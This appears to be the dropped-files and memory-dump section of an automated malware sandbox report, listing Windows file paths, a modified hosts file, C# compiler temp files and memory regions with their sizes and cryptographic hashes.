                                                                                                                            b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1

                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\ ​ ‌      \Common Files\Documents\Recently.docx

                                                                                                                            Filesize

                                                                                                                            11KB

                                                                                                                            MD5

                                                                                                                            3b068f508d40eb8258ff0b0592ca1f9c

                                                                                                                            SHA1

                                                                                                                            59ac025c3256e9c6c86165082974fe791ff9833a

                                                                                                                            SHA256

                                                                                                                            07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7

                                                                                                                            SHA512

                                                                                                                            e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32

                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\ ​ ‌      \Common Files\Documents\These.docx

                                                                                                                            Filesize

                                                                                                                            11KB

                                                                                                                            MD5

                                                                                                                            87cbab2a743fb7e0625cc332c9aac537

                                                                                                                            SHA1

                                                                                                                            50f858caa7f4ac3a93cf141a5d15b4edeb447ee7

                                                                                                                            SHA256

                                                                                                                            57e3b0d22fa619da90237d8bcf8f922b142c9f6abf47efc5a1f5b208c4d3f023

                                                                                                                            SHA512

                                                                                                                            6b678f0dd0030806effe6825fd52a6a30b951e0c3dcf91dfd7a713d387aa8b39ec24368e9623c463360acba5e929e268f75ce996526c5d4485894b8ac6b2e0fa

                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\ ​ ‌      \Common Files\Downloads\BackupWatch.nfo

                                                                                                                            Filesize

                                                                                                                            296KB

                                                                                                                            MD5

                                                                                                                            c928e2c7280095545813b76543d5435d

                                                                                                                            SHA1

                                                                                                                            f55d06d463bd1f5d80c58a839e99f481f30672d5

                                                                                                                            SHA256

                                                                                                                            9013de381c3b713dc2bcce042fd2ff7e1a54f20ad237529e9e4691656ffb71dd

                                                                                                                            SHA512

                                                                                                                            9d3a75e6be844a10651a416b906cd8cd11e52ca0978022cabbc66fdd9f795f11fb7403819911af435d81466c74fc6175857ec5d8a3e5a6e1c9f1fb2baf3c7b28

                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\ ​ ‌      \Common Files\Downloads\SwitchPing.jpg

                                                                                                                            Filesize

                                                                                                                            577KB

                                                                                                                            MD5

                                                                                                                            185f277e9beba92b5d8a0b10f86e5c18

                                                                                                                            SHA1

                                                                                                                            1735e56ff08d5cf36a6a8f0139584f1792b3f809

                                                                                                                            SHA256

                                                                                                                            348b0da8c486e80bffe7ad2660a56436adf16c125d147633d81a3220b3e14c5c

                                                                                                                            SHA512

                                                                                                                            f6d577de6776cd09825085329d3c6686186aa72982c73230a9246651a234dbfedac4db35b6103f63570611e4c16b4f0d97a874213107c063ac43599a03e58c42

                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\ ​ ‌      \Common Files\Downloads\UndoEnter.jpeg

                                                                                                                            Filesize

                                                                                                                            483KB

                                                                                                                            MD5

                                                                                                                            a499a9e881aaebcc1e2ced05c802d59a

                                                                                                                            SHA1

                                                                                                                            d29614dac6b18781c274de794bebe9aeec54816c

                                                                                                                            SHA256

                                                                                                                            53fd4ce40b0930b86ffb3cd28daa6257f08bbae9e9414ead9b0767f576b232ce

                                                                                                                            SHA512

                                                                                                                            73a55131ff9b356e36b4c12f8b19c1564d5a3bc1535ccc9d20839d0786214b7c90eddfa6043b7920117a668090b7e51e977e27c8c57a45e337c818b7979a4c76

                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\ ​ ‌      \Common Files\Downloads\UninstallSet.xls

                                                                                                                            Filesize

                                                                                                                            468KB

                                                                                                                            MD5

                                                                                                                            783c86e21308099af90ddd0fa48862dd

                                                                                                                            SHA1

                                                                                                                            d49f8e01e969a9490ee9f9ff574b4e60512d427a

                                                                                                                            SHA256

                                                                                                                            e1ef2b7d5d9a6840357b1b52ea3f831aad5f5fdc48a869a146c850d9651283d0

                                                                                                                            SHA512

                                                                                                                            f6afaa457d904b0ad48630fbe07628f4f6bc09e0c353a6de67e70d99cea2dda0c8509cda76ecf114e5bab2cf428d9b5aeab629243e4d079e2aae8d19e15a2d67

                                                                                                                          • C:\Windows\System32\drivers\etc\hosts

                                                                                                                            Filesize

                                                                                                                            2KB

                                                                                                                            MD5

                                                                                                                            f99e42cdd8b2f9f1a3c062fe9cf6e131

                                                                                                                            SHA1

                                                                                                                            e32bdcab8da0e3cdafb6e3876763cee002ab7307

                                                                                                                            SHA256

                                                                                                                            a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

                                                                                                                            SHA512

                                                                                                                            c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

                                                                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\uxuvfzqn\CSCA7B9D098D4674C26ACFDB14A628ED11.TMP

                                                                                                                            Filesize

                                                                                                                            652B

                                                                                                                            MD5

                                                                                                                            7c6741fe95f14a095556beb4111b6c90

                                                                                                                            SHA1

                                                                                                                            2f3f6c2cd3e3600c59beab74015a37806a62e265

                                                                                                                            SHA256

                                                                                                                            33d76bdc66f46d075d3bc60bc843c8b816c694935f282986e4123165a0c1ba5a

                                                                                                                            SHA512

                                                                                                                            47f3e9913110e19bcc7dd264af6bde11a9715d6a5d2fc11ac9657962f2e7b043d626bc4498512c64d7322bb567e990a996fdf6233eb4ef68a5b31a666848fabc

                                                                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\uxuvfzqn\uxuvfzqn.0.cs

                                                                                                                            Filesize

                                                                                                                            1004B

                                                                                                                            MD5

                                                                                                                            c76055a0388b713a1eabe16130684dc3

                                                                                                                            SHA1

                                                                                                                            ee11e84cf41d8a43340f7102e17660072906c402

                                                                                                                            SHA256

                                                                                                                            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                                                                                                            SHA512

                                                                                                                            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                                                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\uxuvfzqn\uxuvfzqn.cmdline

                                                                                                                            Filesize

                                                                                                                            607B

                                                                                                                            MD5

                                                                                                                            83c39b441537656541611a4afef9c4a3

                                                                                                                            SHA1

                                                                                                                            19af763b8800a45a5b4a93cfa8f096d25059b3c9

                                                                                                                            SHA256

                                                                                                                            ca8ee0b20b7428005dd95416178428128ea53a962ab89df9f645f2689423797c

                                                                                                                            SHA512

                                                                                                                            84ff41348a0b51f78620ea9cb387c82a87caea8977b90d0e8cb16b63f5566ae4d0fb02fa1e944dbfb75658016bb6d5e780531d109fd4a1e150d3b4e6d2fba1d0

                                                                                                                          • memory/2372-271-0x00007FF94B6B0000-0x00007FF94B827000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.5MB

                                                                                                                          • memory/2372-323-0x00007FF95BA50000-0x00007FF95BA64000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            80KB

                                                                                                                          • memory/2372-322-0x00007FF94B0C0000-0x00007FF94B5E0000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            5.1MB

                                                                                                                          • memory/2372-80-0x00007FF95FE90000-0x00007FF95FEB3000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            140KB

                                                                                                                          • memory/2372-78-0x00007FF95BA40000-0x00007FF95BA4D000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            52KB

                                                                                                                          • memory/2372-295-0x00007FF95FD30000-0x00007FF95FD49000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            100KB

                                                                                                                          • memory/2372-76-0x00007FF94BE00000-0x00007FF94C3E9000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            5.9MB

                                                                                                                          • memory/2372-77-0x00007FF95BA50000-0x00007FF95BA64000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            80KB

                                                                                                                          • memory/2372-206-0x00007FF95F100000-0x00007FF95F123000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            140KB

                                                                                                                          • memory/2372-72-0x00000187CB6E0000-0x00000187CBC00000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            5.1MB

                                                                                                                          • memory/2372-71-0x00007FF94B0C0000-0x00007FF94B5E0000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            5.1MB

                                                                                                                          • memory/2372-68-0x00007FF94B5E0000-0x00007FF94B6AD000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            820KB

                                                                                                                          • memory/2372-66-0x00007FF95BA90000-0x00007FF95BAC3000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            204KB

                                                                                                                          • memory/2372-64-0x00007FF95FBD0000-0x00007FF95FBDD000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            52KB

                                                                                                                          • memory/2372-62-0x00007FF95FD30000-0x00007FF95FD49000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            100KB

                                                                                                                          • memory/2372-60-0x00007FF94B6B0000-0x00007FF94B827000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.5MB

                                                                                                                          • memory/2372-25-0x00007FF94BE00000-0x00007FF94C3E9000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            5.9MB

                                                                                                                          • memory/2372-57-0x00007FF95FE30000-0x00007FF95FE49000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            100KB

                                                                                                                          • memory/2372-54-0x00007FF95F400000-0x00007FF95F42D000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            180KB

                                                                                                                          • memory/2372-37-0x00007FF95FE90000-0x00007FF95FEB3000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            140KB

                                                                                                                          • memory/2372-324-0x00007FF95BA40000-0x00007FF95BA4D000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            52KB

                                                                                                                          • memory/2372-38-0x00007FF95FE80000-0x00007FF95FE8F000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            60KB

                                                                                                                          • memory/2372-306-0x00007FF94B5E0000-0x00007FF94B6AD000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            820KB

                                                                                                                          • memory/2372-79-0x00007FF94AFA0000-0x00007FF94B0BC000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.1MB

                                                                                                                          • memory/2372-58-0x00007FF95F100000-0x00007FF95F123000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            140KB

                                                                                                                          • memory/2372-310-0x00007FF94AFA0000-0x00007FF94B0BC000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.1MB

                                                                                                                          • memory/2372-307-0x00007FF94B0C0000-0x00007FF94B5E0000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            5.1MB

                                                                                                                          • memory/2372-305-0x00007FF95BA90000-0x00007FF95BAC3000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            204KB

                                                                                                                          • memory/2372-302-0x00007FF94B6B0000-0x00007FF94B827000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.5MB

                                                                                                                          • memory/2372-296-0x00007FF94BE00000-0x00007FF94C3E9000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            5.9MB

                                                                                                                          • memory/2372-297-0x00007FF95FE90000-0x00007FF95FEB3000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            140KB

                                                                                                                          • memory/2372-311-0x00007FF94BE00000-0x00007FF94C3E9000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            5.9MB

                                                                                                                          • memory/2372-336-0x00007FF94B5E0000-0x00007FF94B6AD000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            820KB

                                                                                                                          • memory/2372-335-0x00007FF95BA90000-0x00007FF95BAC3000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            204KB

                                                                                                                          • memory/2372-334-0x00007FF95FBD0000-0x00007FF95FBDD000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            52KB

                                                                                                                          • memory/2372-333-0x00007FF95FD30000-0x00007FF95FD49000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            100KB

                                                                                                                          • memory/2372-332-0x00007FF94B6B0000-0x00007FF94B827000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.5MB

                                                                                                                          • memory/2372-331-0x00007FF95F100000-0x00007FF95F123000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            140KB

                                                                                                                          • memory/2372-330-0x00007FF95FE30000-0x00007FF95FE49000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            100KB

                                                                                                                          • memory/2372-329-0x00007FF95F400000-0x00007FF95F42D000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            180KB

                                                                                                                          • memory/2372-328-0x00007FF95FE80000-0x00007FF95FE8F000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            60KB

                                                                                                                          • memory/2372-327-0x00007FF95FE90000-0x00007FF95FEB3000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            140KB

                                                                                                                          • memory/2372-326-0x00007FF94AFA0000-0x00007FF94B0BC000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            1.1MB

                                                                                                                          • memory/4316-82-0x000001366BB30000-0x000001366BB52000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            136KB

                                                                                                                          • memory/4724-81-0x00007FF949A23000-0x00007FF949A25000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            8KB

                                                                                                                          • memory/5116-193-0x00000285F9BF0000-0x00000285F9BF8000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            32KB